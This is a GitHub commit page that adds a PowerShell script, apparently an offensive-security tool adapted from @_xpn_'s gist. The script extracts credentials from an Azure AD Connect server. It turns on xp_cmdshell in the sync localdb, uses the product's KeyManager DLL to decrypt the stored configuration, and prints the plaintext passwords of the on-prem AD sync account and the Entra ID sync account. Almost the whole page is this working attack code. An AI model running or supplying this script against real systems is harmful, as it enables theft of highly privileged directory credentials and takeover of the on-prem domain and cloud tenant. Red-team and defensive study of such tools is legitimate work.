Skip to content

Commit f2cef11

Browse files
committed
Add new ps1 script for extraction
1 parent 0a8ada4 commit f2cef11

1 file changed

Lines changed: 82 additions & 0 deletions

File tree

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
2+
# Modified by @NeffIsBack:
3+
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
4+
5+
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
6+
function decrypter($crypted, $key_id, $instance_id, $entropy) {
7+
$cmd = $client.CreateCommand()
8+
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
9+
$reader = $cmd.ExecuteReader()
10+
11+
$decrypted = [string]::Empty
12+
13+
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
14+
$decrypted += $reader.GetString(0)
15+
}
16+
$reader.Close()
17+
18+
if ($decrypted -eq [string]::Empty) {
19+
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
20+
return
21+
}
22+
23+
return $decrypted
24+
}
25+
26+
# Create a connection to the localdb instance of Azure AD Connect
27+
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
28+
29+
try {
30+
$client.Open()
31+
} catch {
32+
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
33+
return
34+
}
35+
36+
function f {
37+
param ($q)
38+
$c = $client.CreateCommand()
39+
$c.CommandText = $q
40+
$r = $c.ExecuteReader()
41+
if (-not $r.Read()) {
42+
Write-Host "[!] Error querying: $q"
43+
return
44+
}
45+
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
46+
$r.Close()
47+
return $res
48+
}
49+
50+
# Get keyset_id, instance_id, entropy
51+
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
52+
if (-not $out) { return }
53+
$key_id, $instance_id, $entropy = $out
54+
55+
# Get and decrypt on-prem AD credentials
56+
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
57+
if (-not $out) { return }
58+
$on_prem, $c = $out
59+
$pd = decrypter $c $key_id $instance_id $entropy
60+
61+
# Get and decrypt Entra ID sync credentials
62+
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
63+
if (-not $out) { return }
64+
$entra, $c = $out
65+
$qd = decrypter $c $key_id $instance_id $entropy
66+
67+
68+
69+
# Extract the credentials from the decrypted XML configurations
70+
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
71+
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
72+
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
73+
74+
Write-Host "On-prem Domain: $($domain.Domain)"
75+
Write-Host "On-prem Username: $($username.Username)"
76+
Write-Host "On-prem Password: $($pw.Password)"
77+
78+
# Extract the Entra ID sync credentials
79+
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
80+
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
81+
Write-Host "Entra ID Username: $($entra_user)"
82+
Write-Host "Entra ID Password: $($entra_pw.Password)"

0 commit comments

Comments
 (0)